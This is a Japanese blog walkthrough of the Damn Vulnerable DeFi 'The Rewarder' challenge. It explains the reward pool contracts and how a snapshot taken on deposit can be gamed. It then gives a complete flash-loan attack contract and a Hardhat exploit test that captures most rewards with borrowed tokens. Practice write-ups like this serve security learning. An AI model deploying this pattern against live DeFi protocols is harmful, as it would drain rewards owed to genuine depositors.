moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:ダム・バルネラブル・DeFi (五) - リワーダー

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、単体テストが通過することを保証する必要があります。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/5.html

問題の説明:

5 日ごとに DVT トークンをプールに預けた人にトークン報酬を提供するプールがあります。アリス、ボブ、チャーリー、デビッドはすでにいくつかの DVT トークンを預けており、報酬を獲得しました!

あなたは DVT トークンを持っていません。しかし、次のラウンドでは、最大の報酬を自分のために請求する必要があります。

この問題のディレクトリには、4 つのスマートコントラクトがあります。

  • AccountingToken.sol
  • FlashLoaderPool.sol
  • RewardToken.sol
  • TheRewarderPool.sol

AccountingToken.sol

// ERC20Snapshot と AccessControl を継承
contract AccountingToken is ERC20Snapshot, AccessControl {
		// 3 つの役割を定義 minter, snapshot, burner 
    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
    bytes32 public constant SNAPSHOT_ROLE = keccak256("SNAPSHOT_ROLE");
    bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");

    constructor() ERC20("rToken", "rTKN") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
        _setupRole(SNAPSHOT_ROLE, msg.sender);
        _setupRole(BURNER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender), "Forbidden");
        _mint(to, amount);
    }
    // トークンを焼却
    function burn(address from, uint256 amount) external {
        require(hasRole(BURNER_ROLE, msg.sender), "Forbidden");
        _burn(from, amount);
    }
    // スナップショットを実行
    function snapshot() external returns (uint256) {
        require(hasRole(SNAPSHOT_ROLE, msg.sender), "Forbidden");
        return _snapshot();
    }

    // このトークンの転送は必要ありません
    function _transfer(address, address, uint256) internal pure override {
        revert("Not implemented");
    }

    // このトークンの承認は必要ありません
    function _approve(address, address, uint256) internal pure override {
        revert("Not implemented");
    }
}

AccountingToken はトークンコントラクトで、トークン namerTokensymbolrTKN です。openzeppelin から継承されています。

  • ERC20Snapshot.sol:このコントラクトは、スナップショットを実行するたびに特定のアドレスの残高を記録するために使用されます。内部には以下の変数があります:
    • _currentSnapshotId:自動増分変数で、各スナップショットの ID を記録します。
    • _accountBalanceSnapshots:アドレスに対応する各スナップショットの残高を記録します。スナップショットの残高は構造体 Snapshots に保存されます。
    • _totalSupplySnapshots:各スナップショットで記録されたトークンの総量を記録します。
  • AccessControl.sol:役割に関連するコントラクトを処理します。本質的には、各役割に属するアドレスを保存します。

このコントラクトのコンストラクタでは、sender に 4 つの役割が付与されます。

  • admin_role
  • minter_role
  • snapshot_role
  • burner_role

また、mintburnsnapshot メソッドを呼び出すには、sender が対応する役割を持っている必要があります。

flashLoanerPool.sol

contract FlashLoanerPool is ReentrancyGuard {

    using Address for address;
		
    // DVT トークンのインスタンス
    DamnValuableToken public immutable liquidityToken;

    constructor(address liquidityTokenAddress) {
        liquidityToken = DamnValuableToken(liquidityTokenAddress);
    }
    
    // フラッシュローンメソッド
    function flashLoan(uint256 amount) external nonReentrant {
        uint256 balanceBefore = liquidityToken.balanceOf(address(this));
        require(amount <= balanceBefore, "Not enough token balance");

        require(msg.sender.isContract(), "Borrower must be a deployed contract");
        
        // DVT トークンを sender に送信
        liquidityToken.transfer(msg.sender, amount);
        
        // receiveFlashLoan メソッドをコールバック
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveFlashLoan(uint256)",
                amount
            )
        );

        require(liquidityToken.balanceOf(address(this)) >= balanceBefore, "Flash loan not paid back");
    }
}

貸出プールコントラクトで、フラッシュローン機能を提供します。フラッシュローンメソッド内で receiveFlashLoan メソッドがコールバックされます。

RewardToken.sol

contract RewardToken is ERC20, AccessControl {

    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");

    constructor() ERC20("Reward Token", "RWT") {
        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
        _setupRole(MINTER_ROLE, msg.sender);
    }

    function mint(address to, uint256 amount) external {
        require(hasRole(MINTER_ROLE, msg.sender));
        _mint(to, amount);
    }
}

token コントラクトで、トークン symbolRWT であり、minter_role 役割を持つ者のみが mint を行うことができます。

TheRewarderPool.sol

contract TheRewarderPool {

    // 各報酬ラウンドの最小期間(秒)
    // どのくらいの頻度で報酬を行うか
    uint256 private constant REWARDS_ROUND_MIN_DURATION = 5 days;
    
    // 報酬のために実行された最後のスナップショットの ID
    uint256 public lastSnapshotIdForRewards;
    // 最後のスナップショットのタイムスタンプ
    uint256 public lastRecordedSnapshotTimestamp;
    
    // アドレスの最後の報酬付与時間を記録
    mapping(address => uint256) public lastRewardTimestamps;

    // DVT トークンのインスタンス
    DamnValuableToken public immutable liquidityToken;

    // 内部会計とスナップショットに使用されるトークン
    // 流動性トークンと 1:1 でペッグ
    // rTKN トークンのインスタンス
    AccountingToken public accToken;
    
    // RWT トークンのインスタンス
    RewardToken public immutable rewardToken;

    // 報酬を付与するラウンドの数を記録
    uint256 public roundNumber;

    constructor(address tokenAddress) {
        // すべてのトークンが 18 桁の小数を持つと仮定
        liquidityToken = DamnValuableToken(tokenAddress);
        accToken = new AccountingToken();
        rewardToken = new RewardToken();

        _recordSnapshot();
    }

    // DVT トークンを預ける
    function deposit(uint256 amountToDeposit) external {
        require(amountToDeposit > 0, "Must deposit tokens");
        
        // 同量の rTKN トークンを付与
        accToken.mint(msg.sender, amountToDeposit);
        // 報酬を分配
        distributeRewards();
        // 呼び出し元のアカウントの DVT トークンをこのコントラクトアドレスに預ける(承認が必要)
        require(
            liquidityToken.transferFrom(msg.sender, address(this), amountToDeposit)
        );
    }
    
    // DVT トークンを引き出す
    function withdraw(uint256 amountToWithdraw) external {
        // rTKN トークンを焼却
        accToken.burn(msg.sender, amountToWithdraw);
        // このコントラクトアカウントから呼び出し元アカウントに転送
        require(liquidityToken.transfer(msg.sender, amountToWithdraw));
    }
    
    // 報酬を分配
    function distributeRewards() public returns (uint256) {
        uint256 rewards = 0;
        
        // 時間に基づいて新しい報酬ラウンドの付与時間かどうかを判断
        if(isNewRewardsRound()) {
            _recordSnapshot();
        }
        // 最後のスナップショット時の rTKN トークンの総預入量
        uint256 totalDeposits = accToken.totalSupplyAt(lastSnapshotIdForRewards);
        // 最後のスナップショット時の呼び出し元 sender の預入量
        uint256 amountDeposited = accToken.balanceOfAt(msg.sender, lastSnapshotIdForRewards);
        // sender の預入量が 0 より大きく、かつ総預入量が 0 より大きい
        if (amountDeposited > 0 && totalDeposits > 0) {
            // 比率に基づいて報酬の数量を計算
            rewards = (amountDeposited * 100 * 10 ** 18) / totalDeposits;
            // 獲得可能な報酬が 0 より大きく、かつ報酬を受け取ったことがない
            if(rewards > 0 && !_hasRetrievedReward(msg.sender)) {
                // RWT トークンを報酬として付与
                rewardToken.mint(msg.sender, rewards);
                // 報酬を受け取った時間を記録
                lastRewardTimestamps[msg.sender] = block.timestamp;
            }
        }

        return rewards;     
    }
    // スナップショットを実行
    function _recordSnapshot() private {
        lastSnapshotIdForRewards = accToken.snapshot();
        lastRecordedSnapshotTimestamp = block.timestamp;
        roundNumber++;
    }
    
    // 報酬を受け取った時間に基づいて報酬を受け取ったかどうかを判断
    function _hasRetrievedReward(address account) private view returns (bool) {
        return (
            lastRewardTimestamps[account] >= lastRecordedSnapshotTimestamp &&
            lastRewardTimestamps[account] <= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION
        );
    }
    
    // 新しい報酬ラウンドかどうかを判断:現在の時間 >= 最後の報酬時間 + 5 日
    function isNewRewardsRound() public view returns (bool) {
        return block.timestamp >= lastRecordedSnapshotTimestamp + REWARDS_ROUND_MIN_DURATION;
    }
}

報酬プールコントラクトで、deposit メソッドを呼び出して DVT トークン を預けると、同量の rTKN トークン が付与されます。その後、報酬の分配も保有する rTKN トークン の数量に基づいて比例配分されます RWT トークン

コントラクトのソースコードを通じて、簡単なまとめができます:

3 つの token があり、それぞれは

  • DVT トークン
  • rTKN トークン
  • RWT トークン

ユーザーが報酬プールコントラクトに DVT トークン を預けるたびに、同量の rTKN トークン が付与されます。そして、現在のブロック時間に基づいて新しい報酬分配の時間かどうかを判断します。もしそうであれば、スナップショットを実行し、現在の rTKN トークン を持つすべてのアカウントとその残高を記録します。そして、スナップショットのデータに基づいて比例配分で RWT トークン を分配します。

または、ユーザーが自発的に distributeRewards を呼び出して報酬を受け取ることができます。

この時、問題に戻ってみると:あなたは DVT トークン を持っていませんが、新しい報酬分配の際に最大の報酬を得る必要があります。つまり、スナップショット時に大量の rTKN トークン を持っている必要がありますが、rTKN トークン を持つためには DVT トークン を預ける必要があります。しかし、問題はあなたが DVT トークン を持っていないと明言しています。したがって、DVT トークン を持つためには、貸出プールコントラクトから借りるしかありません。

これにより、攻撃の流れが明確になります:

  • 新しい報酬分配の際に、フラッシュローンを使用して全ての DVT トークン を借りる
  • フラッシュローンのコールバックメソッド内で、報酬プールコントラクトの deposit メソッドを呼び出して借りた DVT トークン を預け、同量の rTKN トークン を取得します。この時、スナップショットが実行され、報酬が分配され、RWT トークン を獲得します
  • 報酬プールコントラクトの withdraw を呼び出し、保有する rTKN トークン を焼却し、預けた DVT トークン を呼び出し元に返します
  • 借りた DVT トークン を貸出プールコントラクトに返します
  • 獲得した RWT トークン を攻撃者のアカウントに転送します

したがって、攻撃コントラクトを作成できます。

TheRewarderAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../the-rewarder/TheRewarderPool.sol";
import "../the-rewarder/FlashLoanerPool.sol";

contract TheRewarderAttack {
  // 報酬プールコントラクト
  TheRewarderPool public rewarderPool;
  // 貸出プールコントラクト
  FlashLoanerPool public flashLoanerPool;
  // DVT トークン
  IERC20 public liquidityToken;

  constructor (address _rewarderPool, address _flashLoanerPool, address _token) {
    rewarderPool = TheRewarderPool(_rewarderPool);
    flashLoanerPool = FlashLoanerPool(_flashLoanerPool);
    liquidityToken = IERC20(_token);
  }
  // フラッシュローンのコールバックメソッド
  function receiveFlashLoan(uint amount) public {
    // rewarderPool が amount 数量の DVT トークンを使用できるように承認
    liquidityToken.approve(address(rewarderPool), amount);
    // DVT トークンを預ける
    rewarderPool.deposit(amount);
    // DVT トークンを引き出す
    rewarderPool.withdraw(amount);
    // 借りた DVT トークンを貸出プールコントラクトに返す
    liquidityToken.transfer(address(flashLoanerPool), amount);
  }

  function attack (uint amount) external {
    // フラッシュローンを実行
    flashLoanerPool.flashLoan(amount);
    // 獲得した RWT トークンを sender に転送
    rewarderPool.rewardToken().transfer(msg.sender, rewarderPool.rewardToken().balanceOf(address(this)));
  }
}

最後に、テストケース the-rewarder.challenge.js に実行コードを記述します。

it('Exploit', async function () {
  // 攻撃コントラクトをデプロイ
  const TheRewarderAttackFactory = await ethers.getContractFactory('TheRewarderAttack', attacker)
  const attackContract = await TheRewarderAttackFactory.deploy(this.rewarderPool.address, this.flashLoanPool.address, this.liquidityToken.address)
  // 時間を 5 日後に増加
  await ethers.provider.send('evm_increaseTime', [5 * 24 * 60 * 60])
  // 攻撃メソッドを実行
  await attackContract.attack(TOKENS_IN_LENDER_POOL)
})

yarn the-rewarder を実行し、テストが通過しました!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。